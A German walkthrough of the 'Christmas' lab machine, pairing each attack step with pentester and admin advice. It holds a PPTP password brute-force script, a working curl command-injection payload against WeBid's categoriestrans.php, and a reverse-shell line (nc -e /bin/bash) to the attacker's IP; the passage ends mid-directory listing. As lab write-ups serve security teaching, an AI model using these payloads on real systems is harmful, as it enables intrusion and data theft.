Analyse: `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment zu finden.
Bewertung: Ein Host mit der IP 192.168.2.106 und der MAC `08:00:27:47:d2:32` (PCS Systemtechnik GmbH / VirtualBox) wird identifiziert. Dies ist das Zielsystem "Christmas".
Empfehlung (Pentester): Notieren Sie die IP 192.168.2.106. Führen Sie weitere Scans (Nmap, Nikto) auf diese IP durch.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung.
192.168.2.106 08:00:27:47:d2:32 PCS Systemtechnik GmbH
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `christmas.hmv` der gefundenen IP-Adresse zuzuordnen. Dies erleichtert den Zugriff auf Webdienste, die möglicherweise auf Hostnamen basieren.
Bewertung: Notwendiger Schritt, um sicherzustellen, dass Anfragen an `christmas.hmv` korrekt an die IP 192.168.2.106 aufgelöst werden.
Empfehlung (Pentester): Verwenden Sie nun den Hostnamen `christmas.hmv` für weitere Scans und Zugriffsversuche auf Webdienste.
Empfehlung (Admin): Dies ist eine clientseitige Einstellung ohne direkte Auswirkung auf den Server.
# Inhalt nach Bearbeitung (Auszug) 192.168.2.106 christmas.hmv
Analyse: `nikto` wird verwendet, um den Webserver auf Port 80 auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien zu scannen.
Bewertung: Nikto liefert mehrere wichtige Ergebnisse:
Empfehlung (Pentester):
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2023-12-29 13:06:31 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /assets/: Directory indexing found. + /robots.txt: Entry '/assets/' is returned a non-forbidden or redirect HTTP code (200). See: [Link: https://portswigger.net/kb/issues/00600600_robots-txt-file | Ziel: https://portswigger.net/kb/issues/00600600_robots-txt-file] + /webid/: Cookie PHPSESSID created without the httponly flag. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies] + /robots.txt: Entry '/webid/' is returned a non-forbidden or redirect HTTP code (200). See: [Link: https://portswigger.net/kb/issues/00600600_robots-txt-file | Ziel: https://portswigger.net/kb/issues/00600600_robots-txt-file] + /images/: Directory indexing found. + /robots.txt: Entry '/images/' is returned a non-forbidden or redirect HTTP code (200). See: [Link: https://portswigger.net/kb/issues/00600600_robots-txt-file | Ziel: https://portswigger.net/kb/issues/00600600_robots-txt-file] + /robots.txt: contains 4 entries which should be manually viewed. See: [Link: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt | Ziel: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt] + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /login.php: Admin login page/section found. + 8105 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2023-12-29 13:06:41 (GMT1) (10 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `nmap` wird erneut ausgeführt, diesmal mit Fokus auf Versionserkennung (`-sV`), Skript-Scanning (`-A` enthält `-sC`), SYN-Scan (`-sS`), aggressivem Timing (`-T5`) und Scan aller Ports (`-p-`).
Bewertung: Der Scan bestätigt die von Nikto gefundenen Ports 22 (SSH 9.2p1) und 80 (Apache 2.4.57). Er entdeckt zusätzlich Port 1723/tcp (pptp), der für das Point-to-Point Tunneling Protocol (VPN) verwendet wird. Dies ist ein wichtiger neuer Angriffsvektor. Die `robots.txt`-Analyse von Nmap bestätigt die 4 Disallowed-Einträge.
Empfehlung (Pentester):
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-29 13:06 CET Nmap scan report for christmas.hmv (192.168.2.106) Host is up (0.000098s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) | ssh-hostkey: | 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA) |_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Massively by HTML5 UP | http-robots.txt: 4 disallowed entries |_/ /webid /images /assets |_http-server-header: Apache/2.4.57 (Debian) 1723/tcp open pptp linux (Firmware: 1) MAC Address: 08:00:27:47:D2:32 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: local; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.10 ms christmas.hmv (192.168.2.106) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.67 seconds
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien unter `http://christmas.hmv` zu finden. Eine breite Palette von Erweiterungen wird getestet, und Statuscodes 403/404 werden ignoriert.
Bewertung: Der Scan findet mehrere PHP-Dateien und Verzeichnisse:
Empfehlung (Pentester): Untersuchen Sie die gefundenen PHP-Dateien (`index.php`, `login.php`, `generic.php`, `elements.php`) auf Schwachstellen (LFI, RCE, SQLi etc.). Analysieren Sie den Inhalt von `robots.txt`.
Empfehlung (Admin): Beschränken Sie den Zugriff auf nicht benötigte PHP-Dateien oder Testseiten. Überprüfen Sie den Code auf Sicherheitsschwachstellen.
=============================================================== Gobuster v3.6 [...] =============================================================== [...] /index.php (Status: 200) [Size: 8958] /images (Status: 301) [Size: 315] [--> http://christmas.hmv/images/] /login.php (Status: 200) [Size: 2092] /assets (Status: 301) [Size: 315] [--> http://christmas.hmv/assets/] /generic.php (Status: 200) [Size: 5909] /elements.php (Status: 200) [Size: 22063] /robots.txt (Status: 200) [Size: 79] [...] ===============================================================
Analyse: Der Inhalt der `robots.txt`-Datei wird angezeigt.
Bewertung: Die Datei verbietet (`Disallow`) das Crawlen von `/`, `/webid`, `/images` und `/assets`. Dies sind Hinweise auf potenziell interessante oder administrative Bereiche, auch wenn der Server laut Nikto den Zugriff darauf nicht tatsächlich blockiert.
Empfehlung (Pentester): Untersuchen Sie die Verzeichnisse `/webid`, `/images` und `/assets` manuell oder mit `gobuster`, da die `robots.txt` sie erwähnt, sie aber zugänglich sind.
Empfehlung (Admin): Stellen Sie sicher, dass `robots.txt`-Einträge mit den tatsächlichen Zugriffsbeschränkungen auf dem Server übereinstimmen. Verwenden Sie serverseitige Konfiguration (z.B. `.htaccess`), um den Zugriff auf sensible Bereiche zu blockieren.
# Inhalt von http://christmas.hmv/robots.txt
User-agent: *
Disallow: /
Disallow: /webid
Disallow: /images
Disallow: /assets
Analyse: Der Quellcode der Startseite (`http://christmas.hmv/`) wird untersucht (via "view-source:").
Bewertung: Im Quellcode wird eine E-Mail-Adresse gefunden: `admin@christmas.hmv`. Dies liefert einen potenziellen Benutzernamen (`admin`) für Login-Versuche (z.B. bei `/login.php`, SSH oder PPTP).
Empfehlung (Pentester): Verwenden Sie den Benutzernamen `admin` bei Brute-Force-Angriffen oder Passwort-Tests gegen `/login.php`, SSH und insbesondere den PPTP-Dienst.
Empfehlung (Admin): Vermeiden Sie es, Benutzernamen oder E-Mail-Adressen im Quellcode von Webseiten preiszugeben, wenn dies nicht notwendig ist.
# Auszug aus view-source:http://christmas.hmv/ admin@christmas.hmv [...]
Analyse: Ein Bash-Skript (`vpncrack.sh`) wird erstellt. Dieses Skript liest Passwörter aus einer Datei `wordlist`, versucht mit jedem Passwort eine PPTP-VPN-Verbindung zum Server `christmas.hmv` als Benutzer `admin` aufzubauen (`pptpsetup`), löscht nach jedem Versuch die `chap-secrets`-Datei und prüft, ob die VPN-Schnittstelle `ppp0` aktiv wird. Wenn ja, gibt es das erfolgreiche Passwort aus.
Bewertung: Dies ist ein Brute-Force-Angriff auf den PPTP-Dienst (Port 1723), der den zuvor gefundenen Benutzernamen `admin` verwendet. Das Skript ist eine effektive Methode, um eine Wortliste gegen PPTP zu testen. Das Löschen von `chap-secrets` ist wahrscheinlich nicht notwendig oder sogar kontraproduktiv, aber der Kernmechanismus funktioniert.
Empfehlung (Pentester): Erstellen Sie eine geeignete Wortliste (`wordlist`, z.B. `rockyou.txt` oder eine benutzerdefinierte Liste) und führen Sie das Skript aus. Stellen Sie sicher, dass die notwendigen PPTP-Client-Tools installiert sind (`pptpsetup` ist Teil von `pptp-linux`).
Empfehlung (Admin): Verwenden Sie starke, nicht erratbare Passwörter für VPN-Benutzer. Implementieren Sie Account-Lockout-Mechanismen oder Ratenbegrenzung für VPN-Logins, um Brute-Force-Angriffe zu erschweren. Verwenden Sie nach Möglichkeit sicherere VPN-Protokolle als PPTP (z.B. OpenVPN, WireGuard).
#!/bin/bash
while read -r line ; do
pptpsetup --create vpn1 --server christmas.hmv --username admin --password "$line" --encrypt --start &>/dev/null
echo > /etc/ppp/chap-secrets
if ip link show ppp0 &>/dev/null ; then
echo "Password: $line"
exit 0
else
echo -en "Payload: $line\r"
fi
done < wordlist
Analyse: Das `vpncrack.sh`-Skript wird ausgeführt.
Bewertung: Das Skript ist erfolgreich! Es findet das Passwort `princesa` für den Benutzer `admin` des PPTP-VPNs.
Empfehlung (Pentester): Notieren Sie die gefundenen Zugangsdaten (`admin`:`princesa`). Bauen Sie die PPTP-Verbindung manuell auf, um Zugriff auf das interne VPN-Netzwerk zu erhalten. Scannen Sie das neue Netzwerksegment, das über die `ppp0`-Schnittstelle erreichbar wird.
Empfehlung (Admin): Ändern Sie sofort das kompromittierte VPN-Passwort. Überprüfen Sie die VPN-Logs auf unbefugte Zugriffe. Erwägen Sie die Implementierung von Zwei-Faktor-Authentifizierung für VPN-Zugänge.
[...]
Payload: principessa
Password: princesa
Analyse: Die PPTP-VPN-Verbindung wird manuell mit den gefundenen Zugangsdaten (`admin`:`princesa`) aufgebaut.
Bewertung: Die Verbindung wird erfolgreich hergestellt (`CHAP authentication succeeded`, `MPPE ... enabled`). Die `ppp0`-Schnittstelle ist nun aktiv und ermöglicht den Zugriff auf das interne Netzwerk.
Empfehlung (Pentester): Ermitteln Sie die IP-Adresse des VPN-Gateways und den zugewiesenen IP-Bereich (z.B. mit `ip addr show ppp0`, `ip route`). Führen Sie einen Netzwerkscan (Nmap) im neuen IP-Bereich durch, um erreichbare Hosts und Dienste zu finden.
Empfehlung (Admin): Überwachen Sie aktive VPN-Verbindungen und den Netzwerkverkehr im VPN-Segment.
Using interface ppp0 Connect: ppp0 <--> /dev/pts/10 CHAP authentication succeeded MPPE 128-bit stateless compression enabled local LL address fe80::9fd:6384:74ca:6f8 remote LL address fe80::c8ef:7587:84d0:8253 [...] (IP-Adresszuweisung etc. wird hier oft angezeigt)
Analyse: Nach erfolgreicher VPN-Verbindung wird ein Nmap-Scan auf die IP-Adresse `192.168.3.1` durchgeführt. Dies ist vermutlich die IP-Adresse des VPN-Gateways oder eines anderen Hosts im internen VPN-Netzwerk. `-Pn` überspringt die Host-Discovery (Ping-Scan), falls der Host auf Pings nicht antwortet.
Bewertung: Der Scan auf `192.168.3.1` enthüllt mehrere interessante offene Ports im internen Netz:
Empfehlung (Pentester):
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-29 14:20 CET Nmap scan report for 192.168.3.1 Host is up (0.00082s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 1723/tcp open pptp 8384/tcp open marathontp 22000/tcp open snapenetio Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds
Analyse: Der Dienst auf `http://192.168.3.1:8384` wird im Browser aufgerufen. Es stellt sich heraus, dass es sich um Syncthing handelt, eine Open-Source-Software zur Dateisynchronisation. Die Weboberfläche ist ohne Passwort zugänglich.
Bewertung: Eine ungeschützte Syncthing-Weboberfläche ist eine kritische Sicherheitslücke. Sie erlaubt potenziell das Hinzufügen von Geräten, das Konfigurieren von Ordnerfreigaben und das Lesen/Schreiben von Dateien im Kontext des Benutzers, unter dem Syncthing läuft. Die Gerätekennung (`X3SKSG...`) des Ziel-Syncthing-Dienstes wird angezeigt.
Empfehlung (Pentester):
# Zugriff im Browser auf http://192.168.3.1:8384/
--- Syncthing Web GUI --- Achtung! Die Syncthing-Oberfläche erlaubt mit den jetzigen Einstellungen einen Zugriff ohne Passwort... Geräte Dieses Gerät Downloadrate 0 B/s (0 B) Uploadrate 0 B/s (0 B) [...] Kennung X3SKSGN-6VA75ER-YA5YMUP-2CBKEYT-63C2AYG-VMNZIUP-TGJQUPG-67DNHAC Version v1.19.2-ds1, Linux (64-bit Intel/AMD) [...]
Paketlisten werden gelesen… Fertig Abhängigkeitsbaum wird aufgebaut… Fertig Statusinformationen werden eingelesen… Fertig [...]
Analyse: Der lokale Syncthing-Dienst auf dem Angreifer-System (`cyber`) wird gestartet und der Status überprüft. Die lokale Weboberfläche wird unter `http://127.0.0.1:8384` verfügbar.
Bewertung: Der lokale Syncthing-Dienst läuft korrekt. Die lokale Gerätekennung kann nun aus der lokalen Weboberfläche (`http://localhost:8384`) oder den Logs entnommen werden, um sie auf der Ziel-Syncthing-Instanz hinzuzufügen.
Empfehlung (Pentester): Fahren Sie mit der Kopplung der Syncthing-Instanzen fort (siehe vorherige Empfehlung).
Empfehlung (Admin): Keine direkten Maßnahmen hier, dies betrifft das Angreifer-System.
● syncthing@cyber.service - Syncthing - Open Source Continuous File Synchronization for cyber
Loaded: loaded (/lib/systemd/system/syncthing@.service; disabled; preset: disabled)
Active: active (running) since Fri 2023-12-29 14:26:08 CET; 14s ago
Docs: man:syncthing(1)
Main PID: 12513 (syncthing)
[...]
Dez 29 14:26:09 cyber syncthing[12513]: [ND2CV] INF: GUI and API listening on 127.0.0.1:8384
Dez 29 14:26:09 cyber syncthing[12513]: [ND2CV] INF: Access the GUI via the following URL: http://127.0.0.1:8384/
[...]
# Zugriff auf lokale Syncthing GUI: http://localhost:8384
--- Lokale Syncthing Web GUI --- Authentifizierung für die Benutzeroberfläche: Geben Sie Benutzer und Passwort ein. [...] Einstellungen/Eigene Kennung: ND2CVK6-QDSW4U4-2ZUH2-YJ37IW4-5JAXEFM-DLKTDEG-2D5QIZJ-ZXIIDAW
Analyse: Über die Weboberfläche der Ziel-Syncthing-Instanz (`http://192.168.3.1:8384`) wird das Angreifer-Gerät hinzugefügt (unter Verwendung der lokalen Kennung `ND2CVK...`, die als "kali" benannt wird). Anschließend wird auf der Ziel-Instanz ein neuer Ordner mit dem Pfad `/srv/ftp` erstellt und dieser für das Gerät "kali" freigegeben.
Bewertung: Dies ist die Ausnutzung der ungeschützten Syncthing-Instanz. Durch das Hinzufügen des Angreifer-Geräts und das Freigeben des Ordners `/srv/ftp` werden die Inhalte dieses Ordners vom Zielsystem zum Angreifer-System synchronisiert.
Empfehlung (Pentester): Akzeptieren Sie die Gerätekopplung und die Ordnerfreigabe auf Ihrer lokalen Syncthing-Instanz (`http://localhost:8384`). Warten Sie, bis die Synchronisation abgeschlossen ist. Untersuchen Sie die synchronisierten Dateien aus `/srv/ftp` auf dem Angreifer-System auf sensible Informationen oder weitere Hinweise.
Empfehlung (Admin): Sichern Sie die Syncthing-Oberfläche (siehe vorherige Empfehlung). Überprüfen Sie die konfigurierten Freigaben und Berechtigungen in Syncthing.
# Schritte in der Ziel-Syncthing-GUI (http://192.168.3.1:8384/):
1. Klick auf "[+] Gerät hinzufügen"
2. Gerätekennung eingeben: ND2CVK6-QDSW4U4-2ZUH2-YJ37IW4-5JAXEFM-DLKTDEG-2D5QIZJ-ZXIIDAW
3. Gerätename eingeben: kali
4. Speichern
5. Klick auf "[+] Ordner hinzufügen"
6. Pfad eingeben: /srv/ftp
7. Tab "Teilen" auswählen
8. Checkbox bei "kali" aktivieren
9. Speichern
# Schritte in der lokalen Syncthing-GUI (http://localhost:8384/):
10. Aufforderung zur Gerätekopplung mit "christmas" akzeptieren.
11. Aufforderung zur Ordnerfreigabe "/srv/ftp" akzeptieren (Lokalen Pfad wählen, z.B. /home/cyber/ftp).
Analyse: Nachdem die Dateien aus `/srv/ftp` synchronisiert wurden (der Ordner `dy3ij-gqpcz` ist der automatisch generierte Ordnername von Syncthing für die Freigabe), wird der Inhalt auf dem Angreifer-System untersucht. Eine Datei `backup.zip` wird gefunden und entpackt.
Bewertung: Das ZIP-Archiv enthält offenbar ein Backup der ursprünglichen Webseite (`index.php`, `login.php`, `assets/`, `images/`, etc.). Dies ist ein wertvoller Fund, da er den Quellcode der Anwendung offenlegt.
Empfehlung (Pentester): Untersuchen Sie den Quellcode der entpackten PHP-Dateien, insbesondere `login.php` und andere Dateien, die Benutzereingaben verarbeiten oder Authentifizierung durchführen, auf Schwachstellen oder hartkodierte Zugangsdaten.
Empfehlung (Admin): Speichern Sie keine Backups mit potenziell sensiblem Quellcode in öffentlich zugänglichen oder leicht kompromittierbaren Bereichen wie einem ungesicherten FTP-Verzeichnis, das über Syncthing freigegeben wird.
insgesamt 9712
-rw-r--r-- 1 cyber cyber 9941249 25. Dez 00:00 backup.zip
Archive: backup.zip creating: assets/ creating: assets/css/ inflating: assets/css/fontawesome-all.min.css inflating: assets/css/main.css inflating: assets/css/noscript.css creating: assets/js/ inflating: assets/js/breakpoints.min.js inflating: assets/js/browser.min.js inflating: assets/js/jquery.min.js inflating: assets/js/main.js inflating: assets/js/util.js creating: assets/sass/ creating: assets/sass/base/ inflating: assets/sass/base/_page.scss inflating: assets/sass/base/_reset.scss inflating: assets/sass/base/_typography.scss creating: assets/sass/components/ inflating: assets/sass/components/_actions.scss inflating: assets/sass/components/_blurb.scss inflating: assets/sass/components/_box.scss inflating: assets/sass/components/_button.scss inflating: assets/sass/components/_form.scss inflating: assets/sass/components/_icon.scss inflating: assets/sass/components/_icons.scss inflating: assets/sass/components/_image.scss inflating: assets/sass/components/_list.scss inflating: assets/sass/components/_mini-posts.scss inflating: assets/sass/components/_posts.scss inflating: assets/sass/components/_row.scss inflating: assets/sass/components/_section.scss inflating: assets/sass/components/_table.scss creating: assets/sass/layout/ inflating: assets/sass/layout/_footer.scss inflating: assets/sass/layout/_header.scss inflating: assets/sass/layout/_intro.scss inflating: assets/sass/layout/_main.scss inflating: assets/sass/layout/_menu.scss inflating: assets/sass/layout/_sidebar.scss inflating: assets/sass/layout/_wrapper.scss inflating: assets/sass/libs/_breakpoints.scss inflating: assets/sass/libs/_functions.scss inflating: assets/sass/libs/_mixins.scss inflating: assets/sass/libs/_vars.scss inflating: assets/sass/libs/_vendor.scss inflating: assets/sass/main.scss inflating: assets/sass/noscript.scss creating: assets/webfonts/ inflating: assets/webfonts/fa-brands-400.eot inflating: assets/webfonts/fa-brands-400.svg inflating: assets/webfonts/fa-brands-400.ttf inflating: assets/webfonts/fa-brands-400.woff inflating: assets/webfonts/fa-brands-400.woff2 inflating: assets/webfonts/fa-regular-400.eot inflating: assets/webfonts/fa-regular-400.svg inflating: assets/webfonts/fa-regular-400.ttf inflating: assets/webfonts/fa-regular-400.woff inflating: assets/webfonts/fa-regular-400.woff2 inflating: assets/webfonts/fa-solid-900.eot inflating: assets/webfonts/fa-solid-900.svg inflating: assets/webfonts/fa-solid-900.ttf inflating: assets/webfonts/fa-solid-900.woff inflating: assets/webfonts/fa-solid-900.woff2 inflating: elements.php inflating: generic.php creating: images/ inflating: images/bg.jpg inflating: images/pic01.jpg inflating: images/pic02.jpg inflating: images/pic03.jpg inflating: images/pic04.jpg inflating: images/pic05.jpg inflating: images/pic06.jpg inflating: images/pic07.jpg inflating: images/pic08.jpg inflating: images/pic09.jpg inflating: images/pic10.jpg inflating: index.php inflating: login.php inflating: robots.txt
Analyse: Der Quellcode der entpackten Datei `login.php` wird untersucht.
Bewertung: Im Code werden hartkodierte Zugangsdaten gefunden:
Empfehlung (Pentester): Versuchen Sie, sich mit diesen Zugangsdaten (`admin`:`MyPassword1@2023*`) auf der Webseite (`http://christmas.hmv/login.php`) oder per SSH oder PPTP anzumelden.
Empfehlung (Admin): Speichern Sie niemals Passwörter hartkodiert im Quellcode. Verwenden Sie sichere Methoden zur Passwortspeicherung (Hashing mit Salt) und Abfrage aus einer Datenbank oder einem Konfigurationsspeicher.
$usernameValid = "admin"; $passwordValid = "MyPassword1@2023*"; if (isset($POST['username']) && isset($POST['password'])) { $username = $POST['username']; $password = $POST['password']; if ($username === $usernameValid && $password === $passwordValid) { $_SESSION['loggedin'] = true; header('Location: 2fa.php'); .... ... ..
Analyse: Es wird beschrieben, wie man sich bei der `webid`-Anwendung anmeldet. Nach erfolgreichem Login mit `admin`:`MyPassword1@2023*` wird man zu `2fa.php` weitergeleitet. Um auf den eigentlichen Admin-Bereich (`/webid/admin/login.php`) zuzugreifen, muss der `Referer`-HTTP-Header auf `http://christmas.hmv/2fa.php` gesetzt werden (z.B. mit dem Browser-Plugin `ModHeader`). In diesem vermeintlichen Admin-Login wird dann ein anderes Passwort benötigt: `MyPassword2@2023*`.
Bewertung: Dies beschreibt eine fehlerhafte oder ungewöhnliche Authentifizierungs-/Autorisierungslogik. Die Notwendigkeit, den Referer zu manipulieren, um auf einen versteckten Admin-Bereich zuzugreifen, ist eine Schwachstelle (Security through Obscurity ist keine echte Sicherheit). Das Vorhandensein eines zweiten, unterschiedlichen Passworts (`MyPassword2@2023*`) deutet auf weitere hartkodierte Zugangsdaten oder eine separate Authentifizierung hin.
Empfehlung (Pentester):
# Login-Prozess Beschreibung:
1. Login auf http://christmas.hmv/login.php mit "admin":"MyPassword1@2023*" -> Weiterleitung zu 2fa.php
2. ModHeader Plugin verwenden: Referer setzen auf "http://christmas.hmv/2fa.php"
3. Zu http://christmas.hmv/webid/admin/login.php navigieren.
4. Login mit Username="admin", Password="MyPassword2@2023*"
Analyse: Ein `curl`-Befehl wird vorbereitet (gespeichert in `webid_Crack`), um eine Schwachstelle in `categoriestrans.php` auszunutzen. Der Befehl sendet einen POST-Request mit manipulierten Daten (`categories[123);system(\"whoami>out\");/*]=test`). Der `Referer`-Header und Cookies (`UserAuthenticated=true`) werden gesetzt, um die vorherige Authentifizierung zu simulieren.
Bewertung: Dies ist ein klarer Versuch der Command Injection. Der Payload `system(\"whoami>out\")` wird in den `categories`-Parameter eingeschleust, indem die schließende Klammer `)` und ein Kommentar `/*` verwendet werden, um den restlichen Teil des erwarteten Parameters auszukommentieren. Wenn der Code auf dem Server diesen Parameter unsicher verarbeitet (z.B. in einem `eval()` oder einer ähnlichen Funktion), wird der `whoami`-Befehl ausgeführt und seine Ausgabe in die Datei `out` im aktuellen Verzeichnis (`/webid/admin/`) geschrieben.
Empfehlung (Pentester): Führen Sie das `webid_Crack`-Skript aus. Rufen Sie anschließend die URL `http://christmas.hmv/webid/admin/out` auf, um zu überprüfen, ob die Datei erstellt wurde und die Ausgabe von `whoami` (wahrscheinlich `www-data`) enthält.
Empfehlung (Admin): Beheben Sie die Command Injection-Schwachstelle in `categoriestrans.php`. Validieren und bereinigen Sie alle Benutzereingaben rigoros, insbesondere wenn sie in Systembefehlen oder dynamischen Code-Auswertungsfunktionen verwendet werden. Verwenden Sie keine unsicheren Funktionen wie `eval()`. Überprüfen Sie die Authentifizierungs- und Autorisierungslogik erneut.
#!/bin/bash curl -i -s -k -X $'POST' \ -H $'Host: christmas.hmv' \ -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0' \ -H $'Referer: http://christmas.hmv/2fa.php' \ -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' \ -H $'Accept-Encoding: gzip, deflate' \ -H $'Connection: close' \ -H $'Cookie: PHPSESSID=0ooe7mel4rmd11438aem1567u5;UserAuthenticated=true' \ -H $'Upgrade-Insecure-Requests: 1' \ -H $'Sec-Fetch-Dest: document' \ -H $'Sec-Fetch-Mode: navigate' \ -H $'Sec-Fetch-Site: none' \ -H $'Sec-Fetch-User: ?1' \ -H $'Content-Type: application/x-www-form-urlencoded' \ -b $'PHPSESSID=0ooe7mel4rmd11438aem1567u5;UserAuthenticated=true' \ --data-binary $'categories[123);system(\"whoami>out\");/*]=test' \ $'http://christmas.hmv/webid/admin/categoriestrans.php?lang=..'
HTTP/1.1 200 OK
Date: Fri, 29 Dec 2023 14:50:00 GMT
Server: Apache/2.4.57 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 5271
Connection: close
Content-Type: text/html; charset=UTF-8
[HTML-Antwort der Seite]
# Überprüfung im Browser oder mit curl:
# curl http://christmas.hmv/webid/admin/out
www-data
Analyse: Nachdem die Codeausführung als `www-data` bestätigt wurde, wird ein Netcat-Listener auf Port 4444 gestartet. Das `webid_Crack`-Skript wird angepasst, um statt `whoami` einen Reverse-Shell-Befehl (`nc -e /bin/bash 192.168.2.199 4444`) über die Command Injection auszuführen.
Bewertung: Dies ist der logische nächste Schritt nach der Bestätigung der RCE. Das Ziel ist es, eine interaktive Shell als `www-data` auf dem Angreifer-System zu erhalten. Die IP `192.168.2.199` ist die des Angreifers.
Empfehlung (Pentester): Starten Sie den Listener, führen Sie das modifizierte `webid_Crack`-Skript aus und warten Sie auf die eingehende Verbindung auf Port 4444. Stabilisieren Sie die Shell bei Bedarf.
Empfehlung (Admin): Beheben Sie die Command Injection-Schwachstelle dringend (siehe vorherige Empfehlung).
listening on [any] 4444 ...
#!/bin/bash curl -i -s -k -X $'POST' \ -H $'Host: christmas.hmv' \ -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0' \ -H $'Referer: http://christmas.hmv/2fa.php' \ -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' \ -H $'Accept-Encoding: gzip, deflate' \ -H $'Connection: close' \ -H $'Cookie: PHPSESSID=0ooe7mel4rmd11438aem1567u5;UserAuthenticated=true' \ -H $'Upgrade-Insecure-Requests: 1' \ -H $'Sec-Fetch-Dest: document' \ -H $'Sec-Fetch-Mode: navigate' \ -H $'Sec-Fetch-Site: none' \ -H $'Sec-Fetch-User: ?1' \ -H $'Content-Type: application/x-www-form-urlencoded' \ -b $'PHPSESSID=0ooe7mel4rmd11438aem1567u5;UserAuthenticated=true' \ --data-binary $'categories[123);system(\"nc -e /bin/bash 192.168.2.199 4444\");/*]=test' \ $'http://christmas.hmv/webid/admin/categoriestrans.php?lang=..'
[Anfrage wird gesendet...]
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 55062 www-data@christmas:/var/www/html/webid/admin$
Analyse: Die erhaltene `www-data`-Shell wird stabilisiert (`script /dev/null -c bash`). Anschließend werden die Home-Verzeichnisse aufgelistet und das Home-Verzeichnis von `mr-jack` betreten und untersucht.
Bewertung: Ein Benutzer `mr-jack` existiert. Das Home-Verzeichnis enthält Standard-Konfigurationsdateien, `.oh-my-zsh`-Dateien und eine `user.txt`. Ein `.ssh`-Verzeichnis existiert ebenfalls. Die `user.txt` ist für `www-data` nicht lesbar.
Empfehlung (Pentester): Untersuchen Sie die Konfigurationsdateien und versteckten Verzeichnisse im Home-Verzeichnis von `mr-jack` auf Hinweise oder Zugangsdaten. Das Verzeichnis `.config` ist ein guter Startpunkt.
Empfehlung (Admin): Stellen Sie sicher, dass Webserver-Benutzer keine Home-Verzeichnisse anderer Benutzer lesen können. Überprüfen Sie Konfigurationsdateien auf versehentlich gespeicherte sensible Daten.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 55062script /dev/null -c bash
Script started, output log file is '/dev/null'.
mr-jack
total 388 drwxr-xr-x 6 mr-jack mr-jack 4096 Nov 18 12:58 . drwxr-xr-x 3 root root 4096 Nov 13 16:55 .. lrwxrwxrwx 1 root root 9 Nov 18 12:58 .bash_history -> /dev/null -rw-r--r-- 1 mr-jack mr-jack 220 Dec 25 00:00 .bash_logout -rw-r--r-- 1 mr-jack mr-jack 3526 Dec 25 00:00 .bashrc drwxr-xr-x 4 mr-jack mr-jack 4096 Dec 25 00:00 .config drwxr-xr-x 3 mr-jack mr-jack 4096 Dec 25 00:00 .local drwxr-xr-x 12 mr-jack mr-jack 4096 Dec 25 00:00 .oh-my-zsh -rw-r--r-- 1 mr-jack mr-jack 807 Dec 25 00:00 .profile drwx------ 2 mr-jack mr-jack 4096 Nov 18 10:44 .ssh -rw-r--r-- 1 mr-jack mr-jack 51816 Nov 17 18:22 .zcompdump-christmas-5.9 -r--r--r-- 1 mr-jack mr-jack 119928 Nov 17 18:22 .zcompdump-christmas-5.9.zwc -rw-r--r-- 1 mr-jack mr-jack 51816 Dec 25 00:00 .zcompdump-debian-5.9 -r--r--r-- 1 mr-jack mr-jack 119920 Dec 25 00:00 .zcompdump-debian-5.9.zwc -rw-r--r-- 1 mr-jack mr-jack 3890 Dec 25 00:00 .zshrc -rwxr-xr-x 1 mr-jack mr-jack 33 